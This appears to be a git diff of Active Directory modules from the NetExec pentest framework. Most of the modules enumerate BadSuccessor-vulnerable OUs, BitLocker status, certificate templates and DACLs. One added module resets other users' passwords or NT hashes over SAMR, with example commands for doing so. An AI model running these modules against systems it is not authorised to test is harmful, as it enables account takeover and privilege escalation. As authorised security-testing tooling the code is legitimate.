"Windows Server 2008 R2": 4,
"Windows Server 2012": 5,
"Windows Server 2012 R2": 6,
"Windows Server 2016": 7,
"Windows Server 2019": 8,
"Windows Server 2022": 9,
"Windows Server 2025": 10,
}
class NXCModule:
"""
-------
Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
"""
name = "badsuccessor"
description = "Check if vulnerable to bad successor attack (DMSA)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available"""
def is_excluded_sid(self, sid, domain_sid):
if sid in EXCLUDED_SIDS:
return True
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
def get_domain_sid(self):
"""Retrieve the domain SID from the domain object in LDAP"""
r = self.connection.search(
searchFilter="(objectClass=domain)",
attributes=["objectSid"]
)
parsed = parse_result_attributes(r)
if parsed and "objectSid" in parsed[0]:
return parsed[0]["objectSid"]
def find_bad_successor_ous(self, entries):
domain_sid = self.get_domain_sid()
results = {}
parsed = parse_result_attributes(entries)
for entry in parsed:
dn = entry["distinguishedName"]
sd_data = entry["nTSecurityDescriptor"]
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
for ace in sd["Dacl"]["Data"]:
if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
continue
has_relevant_right = False
mask = int(ace["Ace"]["Mask"]["Mask"])
for right_value in RELEVANT_RIGHTS.values():
if mask & right_value:
has_relevant_right = True
break
if not has_relevant_right:
continue # Skip this ACE if it doesn't have any relevant rights
object_type = getattr(ace, "ObjectType", None)
if object_type:
object_guid = ldaptypes.bin_to_string(object_type).lower()
if object_guid not in RELEVANT_OBJECT_TYPES:
continue
sid = ace["Ace"]["Sid"].formatCanonical()
if self.is_excluded_sid(sid, domain_sid):
continue
results.setdefault(sid, []).append(dn)
if hasattr(sd, "OwnerSid"):
owner_sid = str(sd["OwnerSid"])
if not self.is_excluded_sid(owner_sid, domain_sid):
results.setdefault(owner_sid, []).append(dn)
return results
def resolve_sid_to_name(self, sid):
"""
Resolves a SID to a samAccountName using LDAP
Args:
----
sid: The SID to resolve
Returns:
-------
str: The samAccountName if found, otherwise the original SID
"""
try:
search_filter = f"(objectSid={sid})"
response = self.connection.search(
searchFilter=search_filter,
attributes=["sAMAccountName"]
)
parsed = parse_result_attributes(response)
if parsed and "sAMAccountName" in parsed[0]:
return parsed[0]["sAMAccountName"]
return sid
except Exception:
return sid
def on_login(self, context, connection):
self.connection = connection
# Check for a domain controller with Windows Server 2025
resp = self.connection.search(
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
attributes=["operatingSystem", "dNSHostName"]
)
parsed_resp = parse_result_attributes(resp)
for dc in parsed_resp:
if "2025" in dc["operatingSystem"]:
out = connection.resolver(dc["dNSHostName"])
dc_ip = out["host"] if out else "Unknown IP"
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
else:
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
# Enumerate dMSA objects
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
resp = self.connection.search(
searchFilter="(objectClass=organizationalUnit)",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=controls
)
context.log.debug(f"Found {len(resp)} entries")
results = self.find_bad_successor_ous(resp)
if results:
context.log.success(f"Found {len(results)} results")
else:
context.log.highlight("No account found")
for sid, ous in results.items():
samaccountname = self.resolve_sid_to_name(sid)
for ou in ous:
if sid == samaccountname:
context.log.highlight(f"{sid}, {ou}")
else:
context.log.highlight(f"{samaccountname} ({sid}), {ou}")
-87
View File
@@ -1,87 +0,0 @@
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import sys
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
class NXCModule:
name = "bh_owned"
description = "Set pwned computer as owned in Bloodhound"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.neo4j_pass = None
self.neo4j_user = None
self.neo4j_Port = None
self.neo4j_URI = None
def options(self, context, module_options):
"""
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
if module_options and "URI" in module_options:
self.neo4j_URI = module_options["URI"]
if module_options and "PORT" in module_options:
self.neo4j_Port = module_options["PORT"]
if module_options and "USER" in module_options:
self.neo4j_user = module_options["USER"]
if module_options and "PASS" in module_options:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
domain = connection.conn.getServerDNSDomainName() if context.local_auth else connection.domain
host_fqdn = f"{connection.hostname}.{domain}".upper()
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
context.log.debug(f"Neo4j URI: {uri}")
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
context.log.debug(f"Error {e}: ")
sys.exit()
with driver.session() as session:
try:
with session.begin_transaction() as tx:
result = tx.run(f"MATCH (c:Computer {{name:{host_fqdn}}}) SET c.owned=True RETURN c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
except ServiceUnavailable as e:
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
context.log.debug(f"Error {e}: ")
driver.close()
sys.exit()
if len(value) > 0:
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you imported the correct data?")
driver.close()
+116
View File
@@ -0,0 +1,116 @@
import re
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
# creating a second DCOMConnection to the same target (whose disconnect
# would clash with the protocol's own)
try:
iWbemLevel1Login = self.connection.iWbemLevel1Login
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
iWbemServices.RemRelease()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
else:
self.context.log.exception(f"Exception occurred: {e}")
+140
View File
@@ -0,0 +1,140 @@
#!/usr/bin/env python3
import json
import socket
from os import makedirs
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
"""Module made by: @NeffIsBack, @gatariee"""
name = "certipy-find"
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
VULN Show only vulnerable configurations (Default: True)
ENABLED Show only enabled templates
Export options:
TEXT Export results to a plain text file
CSV Export results to a CSV file
JSON Export results to a JSON file
"""
self.vuln = True
self.enabled = False
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.json = False
self.csv = False
self.text = False
if "VULN" in module_options:
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
if "ENABLED" in module_options:
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
# Export options
if "JSON" in module_options:
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
if "CSV" in module_options:
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
if "TEXT" in module_options:
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
def on_login(self, context, connection):
dns_server = connection.args.dns_server
if not dns_server:
try:
# If connection.host is an IP, use it as DNS
socket.inet_aton(connection.host)
dns_server = connection.host
except Exception:
# Otherwise let DnsResolver use system resolver (None)
dns_server = None
resolv = DnsResolver.create(dns_server)
# prefer connection.hostname if present, otherwise connection.host
remote = (connection.hostname or connection.host) or ""
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
target = Target(
resolver=resolv,
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=connection.remoteName,
hashes=f"{connection.lmhash}:{connection.nthash}",
lmhash=connection.lmhash,
nthash=connection.nthash,
do_kerberos=connection.kerberos,
aes=connection.aesKey,
dc_ip=connection.kdcHost,
target_ip=connection.host,
ldap_port=connection.port,
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
ldap_signing=connection.signing_required,
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
)
finder = Find(
target=target,
json=self.json,
csv=self.csv,
text=self.text,
output_path=self.output_path,
stdout=True,
vulnerable=self.vuln,
enabled=self.enabled,
)
# Get templates and CAs
templates = finder.get_certificate_templates()
cas = finder.get_certificate_authorities()
finder._link_cas_and_templates(cas, templates)
# Get OIDs
oids = finder.get_issuance_policies()
# Process information
finder._link_templates_and_policies(templates, oids)
finder._process_ca_properties(cas)
finder._process_template_properties(templates)
output = finder.get_output_for_text_and_json(templates, cas, oids)
pretty_print(output, print_func=context.log.highlight)
# Save to disk if any export option specified
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
if self.json:
with open(f"{self.output_path}/{filename}.json", "w") as f:
json.dump(
output,
f,
indent=2,
default=str,
)
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
f.write(template_output)
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
f.write(ca_output)
if self.text:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+149
View File
@@ -0,0 +1,149 @@
import sys
from impacket.dcerpc.v5 import samr, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
"""
Module for changing or resetting user passwords
Module by Fagan Afandiyev, termanix and NeffIsBack
"""
name = "change-password"
description = "Change or reset user passwords via various protocols"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
Required (one of):
NEWPASS The new password of the user.
NEWNTHASH The new NT hash of the user.
Optional:
USER The user account if the target is not the current user.
Examples
--------
If STATUS_PASSWORD_MUST_CHANGE, STATUS_PASSWORD_EXPIRED or STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT (Change password for current user)
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
If want to change other user's password (with forcechangepassword priv or admin rights)
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWPASS='target_user_newpass'
netexec smb <DC_IP> -u username -p password -M change-password -o USER='target_user' NEWNTHASH='target_user_newnthash'
"""
self.newpass = module_options.get("NEWPASS")
self.newhash = module_options.get("NEWNTHASH")
self.target_user = module_options.get("USER")
if not self.newpass and not self.newhash:
context.log.fail("Either NEWPASS or NEWNTHASH is required!")
sys.exit(1)
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
if anonymous:
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
dce = NXCRPCConnection(connection).connect(
None,
samr.MSRPC_UUID_SAMR,
string_binding=string_binding,
set_remote_host=connection.host,
anonymous_rpc=True,
)
context.log.info("Connecting with null session credentials.")
else:
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
context.log.info("[+] Successfully connected to DCE/RPC")
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
context.log.fail(f"DCE/RPC Exception: {e!s}")
raise
def on_login(self, context, connection):
self.context = context
target_username = self.target_user or connection.username
target_domain = connection.domain
# Grab all creds from the connection to use for authentication
self.oldpass = connection.password
self.oldhash = connection.nthash
new_lmhash, new_nthash = "", ""
# Parse new hash values if provided
if self.newhash:
try:
new_lmhash, new_nthash = self.newhash.split(":")
except ValueError:
new_nthash = self.newhash
try:
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
elif "STATUS_LOGON_FAILURE" in str(e):
context.log.fail("Authentication failure: wrong credentials.")
return False
else:
raise
try:
# Perform the SMB SAMR password change
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
user = self.context.db.get_user(target_domain, target_username)
user_ids = [row[0] for row in user]
self.context.db.remove_credentials(user_ids)
# Store the new credentials in the database
if new_nthash:
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
else:
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
except Exception as e:
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"STATUS_ACCESS_DENIED while changing password for user: {target_username}")
elif "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"User '{target_username}' not found or not resolvable")
else:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
def _hSamrOpenUser(self, connection, username):
"""Connect to the target server and retrieve the user handle"""
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
File diff suppressed because it is too large. Load diff
+123 -194
View File
@@ -1,16 +1,17 @@
import binascii
import codecs
import json
import re
import datetime
from enum import Enum
from impacket.ldap import ldaptypes
from impacket.ldap.ldapasn1 import SDFlagsControl
from impacket.uuid import bin_to_string
from nxc.helpers.misc import CATEGORY
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from ldap3.protocol.formatters.formatters import format_sid
from ldap3.utils.conv import escape_filter_chars
from ldap3.protocol.microsoft import security_descriptor_control
from nxc.parsers.ldap_results import parse_result_attributes
import sys
import traceback
from os.path import isfile
OBJECT_TYPES_GUID = {}
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
@@ -188,27 +189,40 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={target})",
"TARGET_DN": lambda target: f"(distinguishedName={target})"
}
class NXCModule:
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
It could be interesting to implement the write/remove functions here.
"""
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
# Initialize module variables
self.principal_sAMAccountName = None
self.principal_sid = None
self.action = "read"
self.ace_type = "allowed"
self.rights = None
self.rights_guid = None
def options(self, context, module_options):
"""
Be careful, this module cannot read the DACLS recursively.
Be careful, this module cannot read the DACLS recursively.
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
@@ -221,220 +235,140 @@ class NXCModule:
Based on the work of @_nwodtuhs and @BlWasp_.
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
sys.exit(1)
if module_options and "TARGET" in module_options:
context.log.debug("There is a target specified!")
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
try:
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception:
context.log.fail("The file doesn't exist or cannot be openned.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
self.target_file = None
self.target_DN = None
self.targets = []
self.target_SID = None
if module_options and "TARGET_DN" in module_options:
self.target_DN = module_options["TARGET_DN"]
self.target_sAMAccountName = None
self.target_file = None
if module_options and "PRINCIPAL" in module_options:
for option in "TARGET", "TARGET_DN":
if option in module_options:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
with open(module_options[option]) as target_file:
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Adding target: {module_options[option]}")
self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
if not self.targets:
context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
sys.exit(1)
if "PRINCIPAL" in module_options:
self.principal_sAMAccountName = module_options["PRINCIPAL"]
else:
self.principal_sAMAccountName = None
self.principal_sid = None
if module_options and "ACTION" in module_options:
if "ACTION" in module_options:
self.action = module_options["ACTION"]
else:
self.action = "read"
if module_options and "ACE_TYPE" in module_options:
if "ACE_TYPE" in module_options:
self.ace_type = module_options["ACE_TYPE"]
else:
self.ace_type = "allowed"
if module_options and "RIGHTS" in module_options:
if "RIGHTS" in module_options:
self.rights = module_options["RIGHTS"]
else:
self.rights = None
if module_options and "RIGHTS_GUID" in module_options:
if "RIGHTS_GUID" in module_options:
self.rights_guid = module_options["RIGHTS_GUID"]
else:
self.rights_guid = None
self.filename = None
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
self.context = context
self.connection = connection
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
_lookedup_principal = self.principal_sAMAccountName
try:
self.principal_sid = format_sid(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["objectSid"],
)[0][1][0][1][0]
resp = connection.search(
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
attributes=["objectSid"],
)
resp_parsed = parse_result_attributes(resp)[0]
self.principal_sid = resp_parsed["objectSid"]
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
except Exception:
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
sys.exit(1)
except Exception as e:
context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
return
# Searching for the targets SID and their Security Descriptors
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
# Searching for target account with its security descriptor
for target, search_filter in self.targets:
try:
self.search_target_principal_security_descriptor(context, connection)
# Searching for target account with its security descriptor
resp = connection.search(
searchFilter=search_filter(target),
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
sys.exit(1)
target_principal_dn = resp_parsed["distinguishedName"]
principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
except Exception as e:
context.log.fail(f"Target SID not found in LDAP ({target})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
continue
if self.action == "read":
self.read(context)
self.read(principal_security_descriptor)
if self.action == "backup":
self.backup(context)
# If there are multiple targets
else:
targets = self.target_file.readlines()
for target in targets:
try:
self.target_sAMAccountName = target.strip()
# Searching for target account with its security descriptor
self.search_target_principal_security_descriptor(context, connection)
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
continue
if self.action == "read":
self.read(context)
if self.action == "backup":
self.backup(context)
self.backup(target, target_principal_dn, principal_raw_security_descriptor)
# Main read funtion
# Prints the parsed DACL
def read(self, context):
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
def read(self, principal_security_descriptor):
parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
self.print_parsed_dacl(parsed_dacl)
# Permits to export the DACL of the targets
# This function is called before any writing action (write, remove or restore)
def backup(self, context):
def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
backup = {}
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = "dacledit-{}-{}.bak".format(
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
self.target_sAMAccountName,
)
with codecs.open(self.filename, "w", "latin-1") as outfile:
backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(target_principal_dn)
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
filename = f"dacledit-{timestamp}-{target}.bak"
with open(filename, "w", encoding="latin-1") as outfile:
json.dump(backup, outfile)
context.log.highlight("DACL backed up to %s", self.filename)
self.filename = None
self.context.log.highlight(f"DACL backed up to {filename}")
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
def search_target_principal_security_descriptor(self, context, connection):
_lookedup_principal = ""
# Set SD flags to only query for DACL
controls = security_descriptor_control(sdflags=0x04)
if self.target_sAMAccountName is not None:
_lookedup_principal = self.target_sAMAccountName
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
try:
self.target_principal = target[0]
except Exception:
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
sys.exit(0)
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
# Not used for the moment
# - samname : a sAMAccountName
def get_user_info(self, context, samname):
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
attributes=["objectSid"],
)
try:
dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
return dn, sid
except Exception:
context.log.fail(f"User not found in LDAP: {samname}")
return False
# Attempts to resolve a SID and return the corresponding samaccountname
# - sid : the SID to resolve
def resolveSID(self, context, sid):
def resolveSID(self, sid):
"""Resolves a SID to its corresponding sAMAccountName."""
# Tries to resolve the SID from the well known SIDs
if sid in WELL_KNOWN_SIDS:
return WELL_KNOWN_SIDS[sid]
# Tries to resolve the SID from the LDAP domain dump
else:
try:
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][0]
return self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
